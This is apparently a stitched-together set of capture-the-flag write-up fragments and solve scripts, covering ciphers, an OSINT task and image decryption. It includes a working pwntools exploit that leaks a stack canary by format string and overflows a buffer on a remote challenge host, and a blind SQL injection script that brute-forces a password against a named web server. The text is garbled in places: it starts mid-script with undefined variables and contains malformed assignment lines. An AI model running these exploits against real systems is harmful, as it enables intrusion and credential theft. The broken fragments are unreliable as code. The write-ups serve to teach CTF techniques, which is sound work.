    b = "sUHoQmijkF23xd4568LEABgMCcNpqtuOPVWDhabT1Gyz0KefRSYZr79IJlvwXn"
    
    a = list(a)
    b = list(b)
    c = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
    o = ""
    for i in range(len(a)):
      d = b.index(c[i])
      o += a[d]
    print(o)
    773656977712623018a = 3134652320855556902
    4310293078435922410a = 423291478485811460
    5194353664298357346a = 53888930611360809
    2265916691887264433a = 233243260292215890

    String together all these matrices back into a string by taking the ascii values(we call round, as the results will be floats) to get mess(flag)

  • Use our byte by byte bruteforce mess function to decode the messed flag.

  • https://web.archive.org/web/20200826195056/https://ctftime.org/team/131587arrow-up-right
    https://pastebin.com/8bk9qLX1arrow-up-right
    https://base64.guru/converter/decode/filearrow-up-right

    Canary

    Use pattern.py to flood the second input, put a breakpoint at the line in greet which compares the canaries. Check rax using gdb, feed that back into pattern.py, 56 bytes before canary. Fuzz format string output until you find the one that's always 8 bytes long, that's the canary Make a script that leaks the canary then overflows the buffer with 56 junk bytes + canary + 8 junk bytes + flag address

    hashtag
    Note: canary is just before ebp, which is why you must put 8 junk bytes to fill up ebp

    from pwn import *
    import re
    e = ELF("./canary")
    p = remote("shell.actf.co" ,20701)
    for _ in range(23):
                p.recvline()
    p.recvline()
    p.sendline("%17$lx")
    flagaddr = 0x0000000000400787
    output = p.recvline()
    num = re.findall("Nice to meet you, (.*)!", output)
    canary = int(num[0], 16)
    log.info("Canary: " + hex(canary))
    firstpad = 'A' * 56 #Junk before the canary
    canaryString = p64(canary)
    neweip = p64(flagaddr)
    lastpad = 'B' * 8
    payload = firstpad + canaryString + lastpad + neweip
    p.sendline(payload)
    log.info("Response: " + p.recvline())

    Sql db 3

    Blind sql

    import requests
    
    url = 'http://joe-cv.threatsims.com/admin/search'
    myobj = {'search': "pp' or password like '%"}
    myobj = {}
    passwd = "#"
    for i in range(64):
        for j in "1234567890abcdef":
            passwd = passwd[:-1] + j
            myobj["search"] = "pp' or password like '" + passwd + "%"
            x = requests.post(url, data = myobj)
    
            a = x.text
            if "joe" in a:
                print(passwd)
                passwd += "#"
                break
    
        if j == "f" and passwd[-1] != "#":
              break

    It gives 248b57c5cabbc9944d169d10bc4959a042d0bb81ab6cfc9166f40a9d0f0fd614 which is hash of "tigers"

    p = 9444729917070668893
    a = 7762244320486225184
    b = 731234830430177597
    X=[6680465291011788181]
    c=0
    while c<73:
        X.append((a*X[c]+b)%p)
        c+=1
    o = ""
    bleh = [6680465291011788243, 5100570103593250421, 5906808313299165060, 1965917782737693358, 9056785591048864624, 1829758495155458576, 6790868899161600055, 1596515234863242823, 1542626304251881891, 8104506805098882719, 1007224930233032567, 3734079115803760073, 7849173324645439452, 8732100672289854567, 5175836768003400781, 1424151033239111460, 1199105222454059911, 1664215650827157105, 9008386209424299800, 484211781780518254, 2512932525834758909, 270126439443651096, 3183206577049996011, 3279047721488346724, 3454276445316959481, 2818682432513461896, 1198230090827197024, 6998819122186572678, 9203565046169681246, 2238598386754583423, 467098371562174956, 5653529053698720276, 2015452976526330232, 2551998512666399199, 7069788985925185031, 5960242873564733830, 8674335448210427234, 8831855692621741517, 6943582577462564728, 2159276184039111694, 8688468346396385461, 440650407436900405, 6995840816131325250, 4637034747767556143, 3074066864500201630, 3089580429060692934, 2636919931902761401, 5048459994558771200, 6575450200614822046, 666932631675155892, 3355067815387388102, 3494943856508019168, 3208598838604422062, 1651654978658074504, 1031697828323732832, 3522460087077276636, 6871524519121580258, 6523448658792083486, 127306226106122213, 147467006327822722, 3241736541061054362, 8781435214433157730, 7267936298215752831, 3411059229428517472, 6597995245035183751, 1256684894889830824, 6272257692365676430, 303437276610446361, 8730871523914292433, 6472487383860532571, 5022165523149187811, 4462701447753878703, 1590013093628585660, 4874224067795612706]
    for i in range(len(bleh)):
        o += chr(bleh[i] ^^ X[i])
    print(o)
    import string
    def mess(msg):
        enc=""
        for i in msg:
            enc+=chr((ord(i)+ord(i))%256)
        return enc
    printable = string.printable
    def demess(msg):
        # Byte by byte bruteforce
        dec = ""
        for i in range(len(msg)):
            for char in printable:
                if mess(char) == msg[i]:
                    dec += char
                    break
            else:
                dec += "-"
        return dec
    import random
    import numpy as np
    key=np.matrix("1 2 3;0 1 4;5 6 0")
    def recur_fibo(n):
        if n<=1:
            return 1
        else:
            return recur_fibo(n-1)+recur_fibo(n-2)
    def messig_up(message,key):
        parts=""
        while len(message)!=0:
            to_work_with=message[:9]
            first_one=np.zeros((3,3))
            k=0
            for i in range(3):
                for j in range(3):
                    first_one[i][j]=ord(to_work_with[k])
                    k+=1
            finish=np.transpose(np.matmul(first_one,key))
            for i in range(3):
                for j in range(3):
                    parts=parts + str(finish[i,j])+ " "
            parts+="-----"
            message=message[9:]
        return parts
    def encode(n):
        i=1
        fib=recur_fibo(i)
        t_f=[]
        while fib<n:
            t_f.append(fib)
            i+=1
            fib=recur_fibo(i)
        _sum=0
        a_f=[]
        for i in range(len(t_f)-1,-1,-1):
            if _sum==n:
                break
            if _sum+t_f[i]<=n:
                a_f.append(t_f[i])
                _sum+=t_f[i]
        exis=[]
        for i in t_f:
            if i in a_f:
                exis.append(1)
            else:
                exis.append(0)
        return t_f,exis
    encmap = []
    for i in range(2500):
        encmap.append(encode(i))
    stuff = open("output.txt").readlines()
    data = []
    for line in stuff:
        data.append(eval(line))
    nums = []
    for piece in data:
        nums.append(encmap.index(piece))
    print(nums)
    invkey = np.linalg.inv(key)
    dec = ""
    for i in range(0,len(nums),9):
        split = nums[i:i+9]
        goodmat = np.array([split[j:j+3] for j in range(0,9,3)])
        goodmat = np.transpose(goodmat)
        matr = np.matmul(goodmat,invkey)
        print(matr)
        for x in range(3):
            for y in range(3):
                dec += chr(round(matr[x,y]))
    print(len(dec))
    print(demess(dec).encode())
    Hi Fred,
    
    You said that you are good in OSINT. So, you need to prove your skills to join Eword.
    
    Your task:
    Find the leader of Eword, then find the flag in one of his social media accounts.
    
    Hint:
    https://pastebin.com/PZvaSjA0
    kali@kali:~/sherlock$ python3 sherlock WokaihwokomasKustermann
    
    [*] Checking username WokaihwokomasKustermann on:
    (made shorter for s*nity)
    [+] Instagram: https://www.instagram.com/WokaihwokomasKustermann

    Wacko Images

    flag

    We have ab mod c = d where we know b (key), c (251), and d (encrypted pixel value). Multiplying by the modular inverse of b gets us: a mod c = d * b^-1 mod c

    Calculate this for every pixel in the image with a script, and you get an image that contains the flag.

    import numpy as np
    from PIL import Image
    from Crypto.Util.number import inverse
    
    enc_image = Image.open('enc.png')
    img = np.array(enc_image)
    
    a, b, c = img.shape
    
    key = [41, 37, 23]
    
    for x in range(0, a):
        for y in range(0, b):
            pixel = img[x, y]
            for i in range(0, 3):
                pixel[i] = inverse(key[i], 251) * pixel[i] % 251
            img[x, y] = pixel
    
    flag = Image.fromarray(img)
    flag.save('flag.png')

    The flag is:

    hashtag
    actf{m0dd1ing_sk1llz}